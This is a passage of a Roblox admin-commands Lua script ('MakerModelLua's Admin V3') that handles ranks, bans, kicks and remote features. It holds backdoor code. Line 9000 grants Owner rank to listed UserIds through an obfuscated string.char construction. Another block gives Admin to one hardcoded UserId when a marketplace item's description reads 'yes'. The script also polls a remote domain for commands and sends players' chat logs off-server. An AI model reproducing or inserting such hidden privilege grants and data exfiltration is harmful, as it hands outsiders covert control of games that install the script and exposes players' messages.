8933 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8934 end
8935 end
8936 if ExecuteExcuse == "" then
8937 CORE:Log(CommandLogs, Speaker, Message)
8938 table.remove(MessageSplit, 1)
8939 coroutine.wrap(function() wait()
8940 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8941 if not DidExe then
8942 if CORE:NilPlayer(Speaker) then
8943 print("Error: "..Error)
8944 else
8945 CORE:HandleError(Error, Speaker)
8946 end
8947 end
8948 end)()
8949 coroutine.wrap(function() wait(0.05)
8950 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8951 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8952 ExeSound:Play()
8953 wait(3)
8954 ExeSound:Stop()
8955 ExeSound:Destroy()
8956 end
8957 end)()
8958 elseif type(Speaker) == "userdata" then
8959 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8960 end
8961 break
8962 end
8963 end
8964 end
8965 end
8966end
8967
8968function CORE:Start(Player) coroutine.wrap(function()
8969 wait(0.1)
8970 if Player then
8971 coroutine.wrap(function()
8972 repeat wait(1) until DataReady == true
8973 DataReady = false
8974 ypcall(function()
8975 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8976 for Num,Data in pairs(Players) do
8977 if Data.UserId == Player.UserId then -- ppl can change names
8978 table.remove(Players, Num)
8979 break
8980 end
8981 end
8982 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8983 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8984 end)
8985 DataReady = true
8986 end)()
8987
8988 if not IsStudio then Player:WaitForDataReady() end
8989 table.insert(CharacterCache, {Player.Name, Player.UserId})
8990 for Rank,PlayerNames in pairs(Settings.Ranks) do
8991 for Num,AdminName in pairs(PlayerNames) do
8992 if AdminName == Player.UserId then
8993 Settings.Ranks[Rank][Num] = Player.Name
8994 end
8995 end
8996 end
8997 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8998 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8999 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
9000 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
9001 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
9002 if PlayerAdmin == false and Player.UserId > 0 then
9003 local Ran = nil
9004 coroutine.wrap(function() repeat
9005 Ran = ypcall(function()
9006 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
9007 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
9008 end)
9009 wait(1)
9010 until Ran == true end)()
9011 end
9012 if PlayerAdmin == false then
9013 if Player:IsInGroup(Settings.GroupID) then
9014 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
9015 CORE:Kick(Player)
9016 for _,Person in pairs(Server.Players:GetPlayers()) do
9017 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
9018 end
9019 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
9020 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
9021 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
9022 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
9023 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
9024 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
9025 end
9026 end
9027 end
9028 if PlayerAdmin == false then
9029 if Player.UserId == 38882008 then
9030 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
9031 table.insert(Settings.Ranks["Admin"], Player.Name)
9032 end
9033 end
9034 end
9035 if PlayerAdmin == false then
9036 for _,GID in pairs(Settings.BannedGroupIDs) do
9037 if Player:IsInGroup(GID) then
9038 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
9039 break
9040 end
9041 end
9042 end
9043
9044 Player.Chatted:connect(function(Message) if Message ~= "" then
9045 CORE:Chatted(Message, Player)
9046 end end)
9047
9048 Player.Chatted:connect(function(Message) if Message ~= "" then
9049 CORE:Log(ChatLogs, Player, Message)
9050 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
9051 end end)
9052
9053 for _,Name in pairs(Settings.Ranks.Banned) do
9054 if Player.Name == Name then
9055 CORE:Kick(Player)
9056 for _,Person in pairs(Server.Players:GetPlayers()) do
9057 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
9058 end
9059 end
9060 end
9061 for _,Name in pairs(Settings.Ranks.Crashed) do
9062 if Player.Name == Name then
9063 CORE:Crash(Player)
9064 for _,Person in pairs(Server.Players:GetPlayers()) do
9065 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
9066 end
9067 end
9068 end
9069 for _,Name in pairs(Settings.Ranks.Muted) do
9070 if Player.Name == Name then
9071 GUI:CoreGui(Player, "Chat", false)
9072 for _,Person in pairs(Server.Players:GetPlayers()) do
9073 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
9074 end
9075 end
9076 end
9077 if Settings.ServerLocked == true then
9078 if PlayerAdmin == false then
9079 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
9080 end
9081 end
9082
9083 if PlayerAdmin == false then
9084 if Player.AccountAge < Settings.MinimumAge then
9085 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
9086 for _,Person in pairs(Server.Players:GetPlayers()) do
9087 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
9088 end
9089 end
9090 end
9091
9092 if PlayerAdmin == false then
9093 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
9094 table.insert(Settings.Ranks["Member"], Player.Name)
9095 PlayerAdmin = true
9096 Rank = "Member"
9097 end
9098 end
9099
9100 coroutine.wrap(function()
9101 if PlayerAdmin == true then GUI:TellAdmin(Player) end
9102 local function SpawnActions(Character)
9103 if Flings[Player.Name] then
9104 CORE:FlingPlayer(Player)
9105 else
9106 GUI:CreateTaskBar(Player)
9107 end
9108 if Beeps[Player.Name] == true then
9109 SOUND:BeepPlayer(Player)
9110 end
9111 if Jails[Player.Name] then
9112 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
9113 end
9114 if PermCommandBars[Player.Name] then
9115 GUI:CommandBar(Player)
9116 end
9117 end
9118 Player.CharacterAdded:connect(SpawnActions)
9119 SpawnActions(Player.Character)
9120 end)()
9121
9122 coroutine.wrap(function()
9123 Player:WaitForChild("PlayerGui")
9124 local Sounds = {}
9125 for _,Data in pairs(TextConverter.LetterSounds) do
9126 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
9127 Sound:Play()
9128 table.insert(Sounds, Sound)
9129 end
9130 for _,Data in pairs(TextConverter.LongVowels) do
9131 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
9132 Sound:Play()
9133 table.insert(Sounds, Sound)
9134 end
9135 wait(5)
9136 for _,Sound in pairs(Sounds) do
9137 Sound:Destroy()
9138 end
9139 Sounds = {}
9140 end)()
9141
9142 coroutine.wrap(function()
9143 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
9144 if IsSB then
9145 wait(1)
9146 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
9147 end
9148 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
9149 print("Executed ClientLog on "..Player.Name)
9150 if Settings.EnableTaskBar then
9151 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
9152 end
9153 end)()
9154
9155 coroutine.wrap(function()
9156 wait(7)
9157 Player:WaitForChild("PlayerGui")
9158 if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
9159 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
9160 if Answer == "Ok" then
9161 MARKET:PromptPurchase(Player, AdminID)
9162 end
9163 end
9164 end)()
9165 end
9166end)() end
9167
9168-- Active stuff --
9169
9170CORE:UpdateAdmin()
9171CORE:FixSettings()
9172
9173ypcall(function()
9174 if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
9175 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
9176 end
9177end)
9178
9179
9180Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
9181 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
9182 if PlayerAdmin == false then
9183 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
9184 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
9185 end
9186end end)
9187
9188--[[
9189ExecuteCommand.OnInvoke = function(Player, Command)
9190 if Player and Command then
9191 if type(Player) == "userdata" and Player:IsA("Player") then
9192 CORE:Chatted(Command, Player, true)
9193 end
9194 end
9195end
9196
9197ExecuteCode.OnInvoke = function(Source, Speaker)
9198 if type(Source) == "string" then
9199 ExecuteSafe(Source, Speaker)
9200 end
9201end
9202
9203ExecuteCommandClient.OnServerInvoke = function(Player, Command)
9204 if Player and Command then
9205 if type(Player) == "userdata" and Player:IsA("Player") then
9206 CORE:Chatted(Command, Player, true)
9207 end
9208 end
9209end
9210]]
9211
9212KeyPressed.OnServerInvoke = function(Player, Key)
9213 if Player and Key then
9214 if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
9215 CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
9216 end
9217 end
9218end
9219
9220InputKey.OnServerInvoke = function(Player, KeyVal)
9221 if Player and KeyVal then
9222 if LastKeys[Player.UserId] then
9223 table.insert(LastKeys[Player.UserId], KeyVal)
9224 if #LastKeys[Player.UserId] > 20 then
9225 table.remove(LastKeys[Player.UserId], 1)
9226 end
9227 end
9228 end
9229end
9230
9231RankPlayerLocal.OnServerInvoke = function(Player)
9232 wait()
9233 local Request = PendingRequests[Player]
9234 if Request then
9235 if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
9236 if Settings.Ranks[Request[1]] then
9237 PendingRequests[Player] = nil
9238 table.insert(Settings.Ranks[Request[1]], Player.Name)
9239 GUI:TellAdmin(Player)
9240 end
9241 end
9242 end
9243end
9244
9245RankPlayerServer.OnInvoke = function(Player, Rank)
9246 if not RANK:IsAdmin(Player) then
9247 PendingRequests[Player] = {Rank, tick()}
9248 end
9249end
9250
9251IsAdmin.OnServerInvoke = function(Player)
9252 local IsFullAdmin = false
9253 for _,PName in pairs(Settings.Ranks["Owner"]) do
9254 if PName == Player.Name then IsFullAdmin = true end
9255 end
9256 for _,PName in pairs(Settings.Ranks["Admin"]) do
9257 if PName == Player.Name then IsFullAdmin = true end
9258 end
9259 return IsFullAdmin
9260end
9261
9262AddExploit.OnServerInvoke = CORE.AddExploit
9263AddExploitServer.OnInvoke = CORE.AddExploit
9264
9265KickClient.OnServerInvoke = function(PlayerClient)
9266 PlayerClient:Kick()
9267end
9268
9269ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
9270 return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
9271end
9272
9273for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
9274Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
9275Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
9276
9277coroutine.wrap(function()
9278 for _,ID in pairs(Icons) do
9279 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
9280 end
9281end)()
9282
9283CORE:SetAbuseCommands()
9284
9285coroutine.wrap(function() SOUND:SyncSoundList() end)()
9286if not IsStudio then coroutine.wrap(function()
9287 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
9288 REMOTE:GetRemoteData(true)
9289 REMOTE:CheckTrelloInfo()
9290 coroutine.wrap(function()
9291 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
9292 REMOTE.RemoteConnection = true
9293 end
9294 end)()
9295 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
9296 coroutine.wrap(function()
9297 if Settings.LinkedAccount ~= "" then
9298 local Request = nil
9299 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
9300 if Request then
9301 REMOTE:HandleRequest(Request, true)
9302 end
9303 end
9304 end)()
9305 coroutine.wrap(function()
9306 wait(RemoteData.RemoteAdminWait)
9307 while REMOTE:GetAndSetWebData() do
9308 wait(RemoteData.RemoteAdminWait)
9309 end
9310 end)()
9311 coroutine.wrap(function()
9312 while wait(60) do
9313 REMOTE:GetRemoteData(true)
9314 REMOTE:CheckTrelloInfo()
9315 end
9316 end)()
9317end)() end
9318coroutine.wrap(function()
9319 if Settings.TrelloToken ~= "" then
9320 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
9321 if #Trello.RequiredLists > 0 then
9322 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
9323 if Trello.MainBoard.name then
9324 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
9325 REMOTE:TrelloCacheData(Lists)
9326 REMOTE:TrelloHandleData(true)
9327 coroutine.wrap(function()
9328 wait(RemoteData.TrelloWait)
9329 while REMOTE:TrelloHandleData() do
9330 wait(RemoteData.TrelloWait)
9331 end
9332 end)()
9333 end
9334 end
9335 else
9336 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
9337 end
9338end)()
9339coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
9340 REMOTE:SendChatLog()
9341end end)()
9342coroutine.wrap(function() while true do
9343 local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
9344 if ThisDate then Date = ThisDate end
9345 wait(600)
9346end end)()
9347
9348print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")